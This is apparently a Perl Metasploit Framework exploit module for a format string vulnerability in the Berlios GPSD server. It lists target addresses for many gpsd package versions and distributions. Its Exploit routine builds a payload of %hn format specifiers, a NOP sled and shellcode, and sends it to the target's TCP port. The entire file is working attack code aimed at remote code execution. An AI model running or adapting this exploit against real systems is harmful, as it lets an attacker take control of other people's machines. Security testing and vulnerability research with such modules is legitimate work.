my $advanced = { };

my $info = {
'Name' => 'Berlios GPSD Format String Vulnerability',
'Version' => '$ 1.0 $',
'Authors' => [ 'Enseirb <senotier [at] enseirb.fr>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 2947],

},

'Payload' =>
{
'Space' => 1004,
'BadChars' => "\x00\x0a\x0d\x0c",
},

'Targets' =>

[
[ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0
[ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ],
[ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ],
[ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344 ],
[ "gpsd-1.95-1.i386.rpm", 0x0804f268,0x41424344 ],
[ "gpsd-1.96-1.i386.rpm", 0x41424344,0x41424344 ],
[ "gpsd-1.97-1.i386.rpm", 0x0804b14c,0x41424344 ],
[ "gpsd-2.1-1.i386.rpm", 0x0804c7a0,0x41424344 ],
[ "gpsd-2.2-1.i386.rpm", 0x0804c7a0,0x41424344 ],
[ "gpsd-2.3-1.i386.rpm", 0x0804c730,0xbfffd661 ],
[ "gpsd-2.4-1.i386.rpm", 0x0804c7b8,0xbfffde71 ],
[ "gpsd-2.5-1.i386.rpm", 0x0804c7dc,0xbfffdc09 ],
[ "gpsd-2.6-1.i386.rpm", 0x0804c730,0xbffff100 ],
[ "gpsd-2.7-1.i386.rpm", 0x0804c5bc,0xbfffcabc ],
[ "gpsd_2.6-1_i386.deb", 0x0804c7c4,0xbfffedc8 ],
[ "gpsd_2.7-1_i386.deb", 0x0804c6c4,0xbfffc818 ],
[ "gpsd_2.7-2_i386.deb", 0x0804c770,0xbfffee70 ],
["SuSE 9.1 compiled 2.0", 0x0804c818,0xbfffe148 ],
[ "Slackware 9.0 compiled 2.0", 0x0804b164,0xbfffd7d6 ],
[ "Slackware 9.0 compiled 2.7 ", 0x0804c3ec,0xbfffe65c ],
[ "Debug ", 0x41424344,0xdeadbeef ],
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a format string vulnerability in the Berlios GPSD server.
This vulnerability was discovered by Kevin Finisterre.
}),

'Keys' => ['gpsd'],

'DisclosureDate' => 'May 25 2005',

};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->Print("[*] Reading information from target " . $target_host . ": ");

my $offset = 17;
my $dump_fmt = 7;
my $al = 3;
my ($hi,$lo);
my ($shift0,$shift1);
my $buf;

$hi = ($target->[2] >> 0) & 0xffff;
$lo = ($target->[2] >> 16) & 0xffff;

$shift0 = sprintf("%d",$hi) - sprintf("%d",$offset) - ($dump_fmt * 8 + 16 + $al);
$shift1 = (sprintf("%d",0x10000) + sprintf("%d",$lo)) - sprintf("%d",$hi);

$buf = "A" x 3 . "B" x 4;
$buf .= pack('V',$target->[1]);
$buf .= "B" x 4;
$buf .= pack('V',$target->[1] + 0x2);
$buf .= "%.8x" x7 ."%.".$shift0."lx%hn"."%.".$shift1."lx%hn";
$buf .= $self->MakeNops(3000) . $shellcode ;

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($buf);
$s->Close();

return;
}